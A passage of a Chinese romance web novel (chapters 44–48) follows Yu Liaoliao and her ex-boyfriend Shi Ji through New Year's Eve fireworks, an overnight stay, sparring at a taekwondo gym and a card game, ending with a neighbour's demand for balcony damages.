她顿了会儿,才有点讪讪地说:“那个……我有点事出来了一趟,要不你们先玩吧,我这里忙完也立马回去!” 叶泽洋狐疑道:“大过年的还能有什么事?” “……” 没等想好怎么回答,边上的人就忽然出声:“喻了了。” “干嘛?”她回头。 时霁凑近了点儿,在靠近手机的地方,指着她手里的排号单说:“快到我们了。” “哦。”她抬头看了眼屏幕,见下一个就是了,便把单子递给他:“那你去门口等着吧。” 他接住,人却不动:“你不陪我吗?” “?”喻了了一脸懵:“这怎么陪?” “万一……” 他噎了一下,自己都信念不足:“要脱衣服什么的,我自己好像不太方便。” 拍手掌的X光要脱衣服? 又拿她当傻子? 喻了了拧眉,有点恼火地瞪他:“自己去!” “……”- 检查结果为软组织损伤和轻微骨裂,需要固定患肢制动一段时间,在康复期间要注意休息,避免剧烈运动以免影响骨裂愈合。 喻了了认真记下医嘱,回到车里又和他重复了一遍,自觉已经仁至义尽,再说话的语气就有点要拍拍屁股走人的意思:“现在送你回家?” 时霁却坚定摇头:“不回。” 她一脸疑惑:“那你要去哪?” 他反问:“你去哪?” “放烟花呀。”她也没什么好瞒的:“叶泽洋都等我半天了。” “……” 他沉着脸拉过安全带,不容置喙道:“我跟你一起。” “?” 这莫名其妙的要求都给喻了了听迷糊了。 他刚才认错的时候,她虽然没有直接拒绝,但哪里又有表现出已经解气的意思了吗?为什么感觉他突然就又开始有恃无恐了起来?? 可她只是暂时不想再理论这些事,又不是已经原谅他了!! 她被误解地很不开心,当即便震怒地表示:“你想被炸飞?” 还跟她一起呢。 自己现在什么样自己心里没数吗? “可以。”他一秒答应:“你要是觉得这样解气,那就这样。” “……” 喻了了更气了! 这不就是吃准了杀人得偿命,她九成九就是做不出来的吗? “想得挺美!”她咬牙:“换你被人这样耍一次试试?” “也行。”他点头,依然没有二话:“你开心的话,想怎么耍都行。” “……” 喻了了都惊了:“我又不会!” 他照样能随机应变:“我教你。” “?” 他神情自若,笑了一下说:“你可以让我现在下车,告诉我说等你忙完就会回来接我,然后放完烟花就直接回去睡,到明天再回来跟我说,只是不小心把这事给忘了。” “……” 她还挺认真地跟着想了一圈。 最后只惊疑地发现,这个男人是真的恶毒!狠起来居然连自己都坑!不知道在外面冻一晚是会死人的吗!还以为谁都跟他一样吗?! “谁要跟你学!” 她一脸绝不可能同流合污的表情,反手就启动车子,恶狠狠地回怼:“而且我干嘛要听你!” 第45章 第45章你想得美! 夜里九点多。 老人们早已回去避寒暖炕,小区里那片空地就顺理成章地被小孩们继承,这会儿各种烟花残骸炸了满地,手里的舞龙棒也已经彻底燃尽,便纷纷盯上了叶泽洋面前的两个大箱子。 终于有个小女孩没忍住问:“哥哥,能不能给我个小花鼓呀?” 后头的男孩们一听就迅速管上:“我要万响鞭!” “有没有冲锋枪?” “金刚狼也行啊!” “有加特林!我要加特林!!!” “……” 不仅胃口越来越大,语气都从请求变成了要求,喻了了从后头过来,人均一个锅盖就赏了下去:“要什么让你爸买去!” “嗷——”其中一个小男孩捂着后脑勺,回头刚想骂人,一见是她,立马就换了副表情,而后伸手就抱住人说:“爸爸!我想要冲锋枪啊爸爸!” 其他人有样学样:“爸爸爸爸!我也要!” “……” 喻了了被围在中间,还真有种养了群无用的逆子的感觉,白天各种闹腾的时候就没管过她的死活,这会儿要“争家产”就想起还有这么个爸爸了? 这么想着,她登时便抡起拳头,作势要教他们怎么做人,等大家相继松手,才没好气地把人轰到后面排队去! 蹲下来翻箱子时,还是没法理解地瞥了叶泽洋一眼:“没事买这么多干嘛?”她想要的是炸弹,结果他居然把仙女棒都给买来了?? 叶泽洋则盯着她身后的人,神情一时有些紧绷,像不知底牌被泄露了多少,回答便言简意赅:“……促销。” 喻了了也没在意,吐槽的同时就把小花鼓翻了出来,递给边上的小女孩后问:“还有什么想要的吗?” 小女孩怯生生地接住,见她刚刚脾气不佳,本想就此打住,被这么一问又有点没忍住:“再要个向日葵可以吗?” “呐。”喻了了二话没说就找给她:“放的时候小心点儿。” 她这才笑起来:“好,谢谢姐姐!” “不客气。” 她说完,又看向其她女孩们:“你们呢?” 反正这么多她也放不完,对大部分焰火小的也不感兴趣,直接分掉正好,而大家见不用挨揍就能领到,顿时也兴奋起来:“姐姐,我想要金孔雀!” “我要水母烟花可以吗?谢谢姐姐!” “姐姐我喜欢旋转风车!” “……” 后面的男孩们看得一脸着急,生怕轮到自己时就什么都没了,而就在这时,边上居然还来了个插队的:“姐姐,我也想要。” “……” 喻了了动作一顿,见鬼似的回过头去,看到某人不知何时也在身边蹲下,见她看过来,又低声重复了遍:“可以吗?姐姐。” 她吓得浑身一软,直接跌坐在地上,半晌才惊恐地大喊:“你有病啊?谁是你姐姐!” 时霁揽过她的腰,把人扶起来:“不是比我大半岁么?” 说着又琢磨了下,很快就在新赛道上疾驰起来,有点委屈地问:“她们可以喊,我为什么不行?” 喻了了当即起了个激灵:“你要不要脸?!” 他搂着人,一副满无所谓的样子,凑近她说:“都行。” “……” 她气得脸都红了,很快就把人推开,胡乱翻着箱子说:“要玩是吧?” “嗯。”他看着她暴露无遗地耳廓,不觉勾了勾唇。 “玩!”她很快便翻出一沓仙女棒,扭头就塞到他手里:“现在就给我玩!” 时霁:“……” 见他不动,她还亲自抽出一根,点好火之后塞过去,然后看着闪烁的光点下逐渐趋于超脱的脸,非常故意地问:“好玩吗?” 他勉力扯了下嘴角:“好玩。” “行!”她指着那一沓,恶狠狠道:“那这些全都给你玩,一根都不准剩!” “……嗯。” 喻了了哼了一声,这才开始继续分发,余光看到他不太高兴,还时不时就要回一下头,很贴心地告诉他:“不要一直这么举着,还可以站起来转圈啊,能不能有点仙女的样子?” “你笑得好假,是觉得我给你选的不好玩吗?” “……” 时霁活人微死,但见她玩自己玩得 还挺开心的,到底还是听话地摇晃了起来,可真的把50根尽数燃完后,脸色还是不可避免地和焰火的余烬一样灰。 便在这时,刚分配完财产的喻了了又惊奇地发现,箱底居然一沓仙女棒!当即便捞了出来,兴奋地看向他说:“还玩吗?” 他已经笑不出来了:“……不用了吧。” 她一副“这就玩不起了?”的表情,警告他说:“那还不上一边待着去!” “……” 把人赶走,她才转而从箱子里捞出个大的,丢给叶泽洋说:“我们玩这个?” 来这么半天,光顾着粥济天下了,他们自己都还没开始玩呢! 叶泽洋在黑暗中僵了半天,一直到现在,悬着的心才终于回落了些。 而后微不可察地吐了口气,像往常一样受她驱使,找了片宽敞点儿的地把烟花摆好,点火后退。 几秒之后,本就声响不断的夜晚骤然炸起一阵巨响,黄金树的焰火一冲十米高,像一簇急速蹿起的喷泉,涌涌不断地往上冒着金光。 喻了了仰头看着,不期然听到有人喊她。 偏头的瞬间,快门按下,叶泽洋的手机里便多了张绚烂的侧影。 高挑纤瘦,开阔明朗。 他看着屏幕,眼神黯了两秒,抬头又问:“再拍几张?” 她也没怎么犹豫:“怎么拍?” 他指了个位置:“先到那儿去,再随意走过来试一下。” “好。” 没过多久,花火燃尽。 他便又到箱子里翻了翻,在所剩不多的品类里挑了几样,点燃后继续指导她各种动作。 忙前忙后,毫无所求地为她服务。 看得时霁都不禁有些自愧,居然真有人能做到这种地步,甘愿就这么保持着朋友的身份,哪怕她永远都不会知道。 而他自认是做不到这一点的。 若明知不可能,他只会趁早远离,既然决定争取,便也没道理能大度到容下这一幕。 “差不多了吧?”喻了了确实不喜欢拍照,虽然他拍的比较例外,但多了也还是会有点烦。 “嗯。”叶泽洋看出她耐心告罄,也没多说什么:“等修好了发你。” “好。” 大件的放完,她又回到箱子边翻了翻,找出几个手持的,正要点火,忽然听到身后乱七八糟的燃放声,穿插着一句:“哥哥,我能不能加上你的微信呀?” 她下意识扭头,就见某人不知何时已经被几个女生包围,说话的那个她认识,是前面那栋吴爷爷的孙女,都还没满18岁!!! 时霁见她神色,以为是要过来阻止,一时也没动作,可等视线撞上,她紧蹙的眉头却一秒放平,一副事不关己的模样,漠然地回过头去。 打火机摁了几下,终于点燃引线,跟前的烟花炸开,耳朵就清净了。 她一根接一根的点着,明知这不过掩耳盗铃,也不想再做出任何无意义的举动。 本来谁也没有非谁不可,何况他们都已经分手了。 想给就给,跟她又有什么关系。 “砰——” 混乱之中,又一道巨响冲进天际,直达侧面的居民楼。 喻了了回头,看到先前想要加特林被自己拒绝男孩,不知何时已经把东西顺到手并成功点燃,此刻像是自己都被炸懵了,抱着倾斜的火筒一动不敢动。 几响之后,巨大的冲击力不知掀翻了什么,把二楼其中一户的阳台砸得“噼里啪啦”一通乱响。 她迅速冲过去,一把夺走他手里的加特林,并摆正方向往天上放,但那户无故遭殃的人家,还是闻声从室内跑了出来,看着自家满目疮痍的阳台,一眼就确认“罪魁祸首”:“喻了了!又是你——” “……?” 孟大爷撑着阳台栏杆,气得浑身都在抖:“还有你们这群兔崽子,给我在那等着,一个也不许跑!!!” “……” 他不放话还好,一放完话,楼底下的熊孩子们顿时便作鸟兽散,而喻了了却不得不原地等烟花燃尽,终于放下“武器”时,敌人几乎已经杀到眼前! 她刚一转身就被扣住手腕,一路拉着往前门的方向跑,来到车子边上后,手里又被塞进一枚钥匙。 “?” 她愣了愣,刚想说我干嘛要跟你跑,身后的孟大爷就呼哧带喘地抵达前线:“喻了了!还不给我站那儿——” 傻子才要站那儿! 她二话不说闪进车内,一脚油门就把人彻底甩开,反应过来的时候,已经往他家的方向开了一段。 红灯间隙,她瞥了边上一眼,想起刚刚的事,有点想弃车走人,但在看到他被固定的右手后,又还是出于人道主义忍了一下。 回过头来,平视前方。 “没加。”时霁看着她说。 “什么?”她随口回。 “微信。”他翻出手机,解锁之后递过去:“一个也没加,你可以检查。” 她扫了一眼,没接:“跟我又没什么关系。” 还一个也没加。 这语气什么意思,挺可惜呗? 那就加啊,她又没拦! 她大概不知道自己的表情全都写在脸上,时霁看着,一时也不知该不该欣慰她还会生气:“怎么没关系。” 他拉过她的手,摩挲着哄道:“你不是让我谁要联系方式都不能给么?我记得,而且也并不想加。” “……” 他态度好到她很难继续生气,但现在这个情况,不生气又会很奇怪,最后便只咕哝了下,一副他怎么自己都不可能在意的样子。 他却还是察觉到了些许松动,又就势凑近了些,放低声音问:“这样的话,你能先把我从黑名单里放出来么?” 喻了了却因此回神,当即便把手抽了出来,继续行进着说:“你想得美!” “……” 放出来干嘛? 继续荧惑圣听,把她当傻子耍吗?? 她顿时又警惕起来,之后就没怎么搭理他,径直把车开进地库,又把钥匙还给他后就准备走,他却忽然问了句:“你怎么回?” “这会儿外面应该打不到车,地铁也关了。” 她已经有所警觉,便只觉得他目的不纯,偏要和他对着干:“我可以走回去!而且外面还有共享单车,我包了两家的会员,总不会一辆都骑不到吧!” 他默了一下,很快就找到突破口:“可以是可以,但万一那个大爷还在家门口等你呢?” “……” 喻了了愣住。 虽然她的确是打得过那个大爷,但大爷也是真的很不经打,并且还极有可能会惊动老喻回来一起打她…… 他趁乱又凑近了些,不动声色勾过她的指尖,眉眼耸拉下来,语态也尽显低落:“就在这儿住一晚。” “陪我过个年,行吗?” 第46章 第46章信不信我一脚给你踹下去…… 喻了了会跟着上楼,还真是因为这句“陪我过个年”,因为这句话,让她忽然意识到,他好像一直都是一个人。 虽然都是独居,但他的情况显然更“纯粹”。 家里与其说是一尘不染,或许用空荡和冷清来形容才更贴切,连这样万家灯火的日子,也看不到一丝与年节相关的布置,没人来串门,也无处可融入。 认识这么久,她也只见过他医院的同事,朋友很少,家人更好像连提起都是忌讳。 可她记得他转学是跟妈妈走的,也听说过他家里好像是有背景,又怎么会过成现在这副模样呢? 她其实也有挺多想问的,比如转学后去了哪里,过得怎么样,怎么会开始学医,家里人都在哪里,又为什么 会一直都是一个人。 但又不想表现得对他很关心,也觉得从他嘴里说出来的未必就会是真话,而且他要真想说,又怎么会在一起这么久都还在骗她。 她的确算不上聪明,也觉得其实没必要非得有多聪明,真诚一点不好吗?为什么非要用弯弯绕绕去显示高深? 所以她也真的很讨厌被骗,因为真心换假意的感觉会让人很委屈,委屈的感觉又会让她觉得很窝囊,可她不喜欢自己窝囊的样子,宁愿暴躁一点,让自己以为自己只是生气了。 她坐在餐厅,默不作声吃了半盘水饺,把脸颊塞得鼓鼓囊囊,正在强行往下咽,时霁又倒过来一杯水:“慢点儿。” 她接过来,仰头灌了几口,嘴上还要说:“要你管。” 他不是不知道她在气什么,可有些事积埋已久,真要挖出来,连他自己都不知该从何说起,要是一股脑全都说了,也不知道她有没有耐心听。 可他显然也不愿意这样与她僵持,思忖过后,还是尝试着开口:“对不起。” 喻了了抬眼:“?” 他默了下,解释说:“小学那会儿,我是真的有点怕你,所以一早就知道会转学,也从没想过要知会你,让你找我那么久,很抱歉。” 她抿了抿唇,一副毫不在意的样子,又夹起一个水饺。 他知道她在听,便继续说:“但我其实后悔过。” 她筷子停住:“……” 他淡声道:“因为走之后才发现,除了你,真的没什么人愿意搭理我。” 她拧眉,觉得他又在诓她:“怎么可能?” 抛开别的,就单说长相,在实验的时候就没少有小女孩想跟他做朋友好吗! “那我换个说法。” 他没忍住,笑了一下说:“是除了你,就没什么人会强迫我搭理她。” 喻了了:“……” 就知道没什么好话! 她用力握紧筷子,心道对不起行了吧?以后再也不强迫你行了吧?! “不行。”他抽了张纸巾,衔走她唇角的汁液,还挺受用地说:“你不强迫,不就又没人搭理我了么?” “……” 神经病! 好好的相处不要,还非得被强迫才行? 然而她现在回想起来,才发现自己好像真的就是这样! 自己就是强行要了他的微信,逼他给看体检报告,软磨硬泡拉着人去露营,甚至表白接吻、差一步就上到全垒,居然真的都是这种走向!而他不仅全都答应了,从事后的反应来看,好像还蛮爽的?? 她噎了半天,也没想通自己到底是怎么树立起这种形象的,凭什么她满腔热情就显得那么霸道,而他却像是个被迫委曲求全的小可怜?? 她越想越不甘心,最后没好气地瞪他一眼:“你就活该没人搭理!” “嗯。”他低笑着认栽:“是挺活该的。” 这不就翻车了么。 喻了了哼了一声,又吃掉两个饺子,还是觉得不对:“但是,就算学校没人搭理你,家里人呢?” 时霁敛眸,笑意淡了一些:“一样。” “?” “你知道我父母离异了吧。” “嗯。”她点头。 “我判给了妈妈,但其实跟两边关系都不好。”他顿了一下,像在回忆早已淡去的经历:“好像是初二,开始寄宿,那时候寒暑假还会回去,到大学之后就完全被放养了,就是自己单过。” “……” 他其实并不觉得这有什么,如果让他重选,照样还是会选择远离,便也无意以此卖惨:“但和祖辈的关系还行,爷爷和外公都经常会让我过去吃饭。” “那你今天怎么不去?”喻了了问。 “年节都不会去。” “为什么?不应该年节才得去吗?” 他无甚意义地笑了下,只说:“去了大家都扫兴。” “……” 也是。 如果和父母关系都不好,两边的年夜饭就都有双方都不愿意见到的人。 “哦。”她声音闷闷的:“那你以前,自己都怎么过啊?” 他如实道:“不过。” 一个人也没什么好过的,也不太可能去破坏别家的团圆,所以对他来说,这就是很寻常的一天,无非外面吵一点,闹得晚一点。 但是今天,便有点不同了。 “喻了了。” “啊?” 他看到挂钟转过零点,笑着回过眼来:“新年快乐。”- 零点一过,手机便“噔噔噔”地响了起来。 新一轮的祝福接踵而至,喻了了抱着手机一条条回复过去,权当是餐后消食,等胃里稍空一点,困意便也席卷而来。 她起身进了浴室,洗漱过后出来,时霁也正好收拾完,走进指了下卧室说:“进去睡吧。” 喻了了透过门洞看到床尾一角,尤想起不过几天之前,自己也曾在那张床上待了会儿,要不是意外发生,意外就要发生了! 当即便回过头来,没好气地看他:“谁要睡你的房间!” 时霁无奈:“但这里就一个房间。” 喻了了狐疑地瞥他:“那你自己准备睡哪儿?” 他顿了一下:“说实话吗?” “……” 喻了了半点不含糊,直接踹了他一脚:“自己滚回去睡!” “我要睡沙发!” “嘶——”他吃痛地退开了点儿,嘴上却还在游说:“沙发又不是床,晚上不小心滚下去怎么办?” 她竖起拳头警告:“你再忽悠一句,我现在就回自己家!” “……” 她会答应跟他上楼,仅仅只是因为不太想让他一个人过年,才勉强留下来添点人气的,又不代表别的什么,包括他刚刚说的那些话,她其实也并不知道是真是假,只是觉得态度还算诚恳,才姑且不做计较的。 又怎么可能再稀里糊涂跟他混到一张床上去! 她把人赶走,一直到亲眼看到房门关上,才扯过被子往后躺下。 室内陷入黑暗,室外的烟花却依然如旧,放在枕头下的手机,也还是会时不时响一下,她翻身摸出来,调完静音之后,不自觉又点进黑名单列表。 看着页面里孤零零的账号,还是有过一丝闪念,但很快就又息屏放下,闭上眼睛,告诉自己已经很晚了,该睡觉了。 然而复杂的心境还是织成了光怪陆离的影像,不停地在睡梦中放映,她在到处都是他的气息的地方,还是不可避免地梦到了他。 迷蒙中睁眼时,梦境又忽然从脑海里倒映出来,视野里很近的地方,他正靠在沙发边安静地凝视着她。 她眨了眨眼,对上黑暗中愈渐深邃的眼睛,很快便背过身去,想趁着睡意还在重新陷入睡眠,神思却还是不受控制地一点点清明起来。 她面无表情地盯着沙发背,感觉身后的视线还在,却偏是连呼吸都没有耳闻。 时间就这么安静流淌了许久,久到她都要以为刚刚那一眼只是自己的错觉,终于有点忍不住想回头去确认时,脊背却忽然靠近一道胸膛。 她被温热的怀抱包裹,低缓的呼吸落在颈侧,很轻地皮肤上碾过。 她浑身一僵。 不知道他要做什么,一时也有点没法动弹。 时霁就这么挨着人躺下,手臂搭在她腰侧,又过了许久,聚了几天的沉郁气息才随着呼吸在颈侧散开:“喻了了。” 他低声道:“我想你了。” 很奇怪。 明明前后也不过几天,他却觉得离别的有那样久,久到他对拥抱都开始有些生疏。 她却全然不知道他为什么突然要说这样奇怪的话,明明直到几天之前,还都只会怼她真的没有因为耍流氓进去过吗。 想不通,便只能理解为事出反常必有妖。 她闷了一会儿,直到耳温暴涨到自己都快要受不了了,才绷着脸说:“信不信我一脚给你踹下去!” “嗯。”他哑声应着,搭在腰间的力道松了一点,像是为了方便她行动:“踹吧。” “……” 这又是什么奇怪的招数 ? 她足足僵了十秒,才手脚并用地翻过沙发背,期间头都没回一下,鞋也没穿,就灰溜溜逃进了卧室,关门反锁后,才站在门口恶狠狠地想,好好的床不睡,那就自己睡沙发去吧! 而后平复着呼吸,转身正准备爬上床去,又冷不丁看到那两枚金牌依然完好无损地摆在床头。 她怔了一下,很快便拧眉走过去,一并拿起来后四处张望下,最后低下头去,双双丢进床底! 这么喜欢捡垃圾。 那就加油再爬到床底下去捡吧! 她哼了一声,气鼓鼓地钻进被窝,一把将被子扯过头顶,本意是要逼自己马上陷入熟睡,结果却被一阵清冽的木质香激得更加精神。 不知道是什么味道的,但和他刚刚凑过来时的气息一模一样!一秒就让她想起那个克制的拥抱,并好像此刻还依然环绕着自己一般。 她涨红着脸,又猛地掀开被子,一连蹬了好几脚才成功踢下床沿,终于脱力地躺平,咬牙开始复盘刚刚睁眼时看到的情形。 睡衣扣子将解未解,喉结毕露,眸底破碎…… 这个恶毒的男人,装可怜博同情也就算了,居然还想色。诱她! 就是说她这么正直,还有可能会再上当吗?! 第47章 第47章但那是要留给你的。 失眠半夜,再睁眼已是日上中天。 喻了了揉着眼睛坐起来,目之所及均是自己的杰作,奖牌支架倾倒在地,被子散在床尾,枕头丢在衣柜前,床单被扒了一半,连床垫亦有些移位…… 昨晚生气折腾的时候没感觉,这会儿乍一环顾自己都有点傻眼,下意识就从床上爬下来,想赶紧收拾一下毁尸灭迹。 但她刚俯身捡起支架,动作就又顿住了。 干嘛要收拾? 留着给他欣赏不是正好吗? 这么想着,她一秒就又把支架丢了出去,然后气势十足地走到门边,想引他进来看看,喜不喜欢房间的新布置。 可门一打开,自己却先被一阵扑鼻的饭香慑住。 厨房是开放式的,她稍一偏头,就能清楚看到灰调背景下的轻薄侧影,穿得还是昨晚那身睡衣,墨黑绸质衬得人愈发劲瘦挺拔,衣料随着手中动作微微晃荡,无声自晨起的视野中掠过。 他单手把锅中的菜肴倒入瓷盘,回身正要端放到餐桌,就隔空与门前的人撞上目光。 “醒了。”时霁放下手里的活儿走过去,视线触及屋内,神情稍怔了下,像正目睹她愤然搞破坏的场面,片刻后又有点好笑的回过头来:“搞成这样,昨晚怎么睡的?” “你怎么知道不是睡醒之后搞的?”喻了了见他没生气还有点不高兴,好像自己扑腾半天的成果也就那样,她撇撇嘴:“而且我睡觉就是这样的,如果有人随便靠近的话,也都会被摔成两半。” “行。”时霁像是听进去了,一副之后会做好心理准备并还挺期待的样子,点点头说:“那我下回注意点儿。” 而后伸手,拨开她脸上的碎发:“先去洗漱吃饭吧。” 喻了了已经闻到一阵很浓郁的芋头香,馋到肚子都发出声响,却仍然绷着脸,坚持对他的行为动机产生怀疑:“你想毒死我?” 毕竟她都不知道他居然还会做饭,而且还是在右手被自己所伤,又连夜被自己锁在门外的情况下,以他恶毒的潜质,难道不是想要报复的可能更大些? 时霁无奈,一句话打消她脑海中正编排着的大戏:“这么做对我有什么好处?” 喻了了:“……” 好像也是。 她回过神来,一副虽然如此但也绝对不会放松警惕的模样,哼地一声进了洗手间。 洗漱时看着镜子里乱糟糟的卷发,心想自己果然就是不适合这种需要精心打理的事物,还好烫的是一次性的,等晚上回去把头洗掉就轻松了,并在最后漱口时犹豫,要不要干脆剪个短发来试试看。 纠结的功夫,时霁已经换了身深色休闲服,正端坐在餐厅,像是在等她出来吃饭。 喻了了扫了眼桌上摆放的餐盘数量,本着浪费可耻的原则,很勉强地坐了下来,刚喝了两口汤,碗里就送进来一块红烧芋头,同时听见他有点讨好地说:“第一次做,试试。” 她只想赶紧吃完走人,便也没有多话,夹起来就往里嘴里送,芋头的香味瞬间盈满口腔。 虽说是红烧的,做的却并不重口,汤汁渗进食材的火候也刚刚好,软糯适中,入口即化。 这道菜算是她的最爱,也是本地特色,饭店和酒宴常有,家里却很少有人会做,所以她一般吃到的都比较重油重盐,口感也时而便硬、时而过烂,还是第一次体验这样的版本。 不知道是不是拿手术刀的也都有拿菜刀的天分,居然用一只手也能完成,早知道就不睡那么晚,早点出来学习一下好了。 时霁观她神色,顿时便有种没白忙活的感想,又给她夹了一块说:“想吃下回再给你做。” 并顺理成章地提出:“刚好这几天休息,要不你就住这儿?随时想开火都行。” 喻了了倒没发现什么端倪,只是一向都很有骨气:“谁想吃了!而且我要吃也自己可以去饭店,干嘛非要你给我做?” “可以是可以。”时霁也不急,只摆出一副很诚恳的姿态,慢声梳理:“但饭店哪有家里方便,再说你不是还在生我的气,打发我多干点活儿,不应该能痛快点么?” 喻了了想了想,好像还真是这个道理,可转念又拧了下眉:“你以为谁都跟你一样吗?报复心那么强!而且我也有自己的事情要做,干嘛要为了惩罚你浪费自己的时间?” 说完又在心里加深了一遍,绝对不能再相信这个人的鬼话!然后就非常坚决地表示:“我吃完就走,才不要留下来继续让你骗!” 时霁:“……” 此计不通,他便只好另寻它路:“要去哪儿?” “随便啊,反正我——” 喻了了说到一半忽然停住,转而狐疑地看向他说:“跟你有什么关系?” “怎么没有。” 时霁理所当然道:“我得跟你去。” “?”喻了了一脸问号:“凭什么啊??” 时霁眸色黯下来,有种行至半道被忽然丢下的落寞:“不是你说整个假期都要待一起的么?我已经把时间都空出来了,你又不打算负责了么?” “……” 喻了了简直匪夷所思:“那之前跟现在能一样吗?” 他们都大吵了一架,甚至闹到了分手的地步,然后他居然要在这里跟自己讨论甜蜜时候的承诺?并且在听到这句质问之后,情绪几近跌至谷底:“所以之前说的话,就都可以不用作数了么?” “……”- 喻了了要气死了! 因为她既可以凶狠残暴,也可以冷血无情,却绝对不能是一个言而无信的人!所以就算再不情愿,她也不得不把人带在身边! 但就这么若无其事地认栽,显然也不是她的风格,于是出门后径直驱车到了远东大厦,直奔12楼的浩行道馆,用最快的速度换好道服,就随机揪了个高段位的教练来到场地中央! 大年初一,馆里也就零星几个人,到这儿来可能纯粹只为消遣,也可能只是习惯了每天都要出现一下,却万万没想到竟会遭此横祸…… 时霁看着人被打得节节败退,不过两三分钟就连连哀嚎着要认输,却连逃跑的退路都被阻断的惨状,心里也难能生出一丝愧疚。 当然,更多的还是庆幸自己并未涉猎过这项竞技运动,也就不必亲自挨揍…… 而喻了了一想到他其实早就知道自己很能打,这段时间却天天都在看她“表演”,下手就越来越狠!并且也丝毫不觉得自己的行为有什么问题。 一来,她都多久没过来锻炼了,这些教练却还是连自己都赢不了,还敢用这种蹩脚的水平教授学员,难道就不该长点教训吗? 二来,他不是说小时候很怕自己吗?她现在也不想再装了,那就让他再好好巩固一下这种恐怖的感觉!然后明白要跑就得趁早,自己说不定还能放他一马! 她怒气暴增,越想就越觉得委屈生气,一连把馆里的教练全部单挑完后,目光又转向学员,最后吓得所有人都连滚带爬,一刻都不敢多待的溜了之后,才板着脸看向边上观 战的人,用一种再给他最后一次机会的语气问:“还要跟吗?” 时霁看她冷着脸,状似凶狠的样子,不由又有点后悔,这些拳头没能落在自己身上。 “嗯。”他敛眸,拂开她额角的薄汗:“去哪儿都跟。” 预想中的退缩没有降临,喻了了却不知怎的依然不是滋味,偏头默了会儿,才又放狠话说:“你别后悔!” …… 半小时后。 两人又一起回到松林苑,进了陈桃家,并在一张棋牌桌前坐下,码牌之前,喻了了偏了下头,事先声明:“输了算你的。” 时霁没半点儿犹豫:“好。” 陈桃嘶了一声,很想提醒他要不还是犹豫一下吧,但她不能,毕竟谁又能拒绝得了钱财将要进到自己口袋的诱惑呢? 当即便一副快要发大财的表情,迫不及待道:“开始开始——” 有别于运动细胞,喻了了在这方面的天分几乎为零,偏偏她还不信邪,输得越多就越较劲,常常就给人一种于心不忍、却又实在没法叫停的感觉。 又因为一喊就来,给钱也很爽快,这一片就没有不喜欢和她打牌的,甚至是一听说她在,就屁颠颠地全都赶来了。 她显然也是因为这样,才故意把人带来感受社会险恶的,然而等摸起牌来,谁也不会真的想输。 上家出完顺子又下了飞机,眼见着手里已经没几张牌,喻了了手握炸弹,真思考着要不要再等一等,耳边忽然掠过一道很轻的呼吸:“出。” 她回头盯了他一会儿,又在一连串的怀疑中想到,既然输了是算他的,他应该也不至于这么主动送钱吧? 很快便一副自己本来就是这么想的、也根本就不需要提醒的表情,厉声反驳:“我知道!” 而后果不其然,对家剩的牌面很小,唯一一张压轴的大王又轻易不敢出,轻轻松松就让喻了了赢得胜利。 她眼睛亮起来,下意识就扭头想要庆祝,可等视线对上,又哼地一声,变成一副“看到没,我就是这么厉害”的傲娇模样。 时霁勾了勾唇,又继续潜伏了几轮,看到她神情越来越舒展的同时,也还是被陈桃盯上了:“到底是你打还是她打?能不能有点游戏精神啊!” 没等他说话,喻了了就率先回怼:“全让你赢就是有游戏精神了?” 并伸手护了一下,几天来第一次站在他这头:“那我刚刚说输了算他的时候,你怎么一点意见都没有呢?” 不过是年节时的小钱,又不是比赛,牌桌上有人指点算是常事,单陈桃自己就没少干过这事儿,只是赢是时候没感觉,输得多了才知道难受。 “不玩了不玩了!”眼见着她一副要把过往输掉的全部赢回来的架势,陈桃彻底掀桌,一副赌博可耻的模样,指挥边上等候的人说:“谁爱玩谁玩!” “可以。”喻了了也没什么赌瘾,小赢几把就已经很开心了,闻言一点意见都没有,只是说:“先把输的钱转我。” 陈桃:“……” 感觉她又要找借口拖欠,喻了了补充:“如果你不想当众遭遇生命危险的话,最好动作快一点。” “给你给你!”陈桃一秒摸出手机,转账的同时翻脸道:“还打就换地方去,别在这里打扰我休息!” 喻了了毫不在意,收到钱就美滋滋地站起来,又因为今天的筹码大些,几把下来就赢了不少,已经在考虑要这么快乐的花掉了。 时霁给出意见:“要不要请我吃饭?” 她笑容停住,立刻护住手机:“又想骗我钱?” “……” 时霁还是头一回感受到被双标的落差,同样都是给他花钱,之前追他的时候就俨然一个富婆,卡刷得眼睛都不带眨一下的,现在闹了矛盾,就连有他一份功劳的所得都分文不愿分享。 而他当然是一点怨言都不可能有的,毕竟他这么不记仇,有些事等局面扭转之后再理论也不是不行:“那我请你?” 喻了了虽然还是非常警惕,但也没有马上拒绝,因为今天过来本来就是为了让他体验一把心痛的感觉,但现在自己赢了,目的没能达成,这就让她稍微还是不点不甘心。 正犹豫着要不要选个高档餐厅达成成就,半掩的房门外就忽然传来一道粗重的爆呵:“喻了了——喻了了在哪里?!” 她吓了一跳,扭头就见孟大爷拎着个扫帚把儿闪现到面前,指着她控诉:“可算让我逮着你了!知道昨晚我家阳台都被砸成什么样了吗?啊?追了你一路都不肯停,现在跑不了了,还不赶紧给我赔钱!!!” 喻了了被迫仰头倒退两步,还想解释那又不是自己干的,就被人揽住后腰,带着往边上靠了点儿。 “多少?”时霁直截了当地问。 “嚯——”孟大爷将他上下扫视一圈,重点不自觉偏移:“这就是你那个抢来的男朋友?” “可以啊,这模样俊的,出了事也能顶着。”说完这句,才像是想看看他到底能顶多大事一样,冷不丁报数:“8000!一个子儿都不能少!” 喻了了瞪大眼睛,连把腰上的手打开都顾不上,就转而指向对面:“就你那几盆草能有8000?信不信我现在就报警告你敲诈勒索?!” 要是别人她还真不敢说,但就他这个抠到超过8块的保健品都不肯掏而到处蹭的名声,怕不是连花盆都是在垃圾桶边上捡的,又怎么可能花8000去培育花草?! 可孟大爷却咬死了说:“哪儿就不能有?你知道单那一盆花笼要是长出来了能值多少钱吗?啊?!” 他哎哟一声,一副这不过几个钱她都要赖的痛心样,越说越像那么回事:“行啊,这处了对象就是不一样,才多久啊就学会持家了?以前坑得你爸到底赔钱的时候都不见你心疼,现在不过是要自家男人掏这么几个子儿就舍不得了,连我这个老人都要欺负……” 喻了了大惊,为了阻止他继续胡说八道,当即就狂拍边上的人不停催促:“给!快给!现在就给!把你全部家当都给他!!!” “……” 时霁本来就是要给的,手机都已经拿在手上,转账界面也打开了,闻言却顿了一下,滞涩的神情显得有些为难,低黯的声音也慢了下来:“但那是要留给你的。” 第48章 第48章宝贝?傻瓜?亲爱的?…… 喻了了被当众调戏了一波,反应过来直接就给了他一脚,然后涨红着脸摔门出屋。 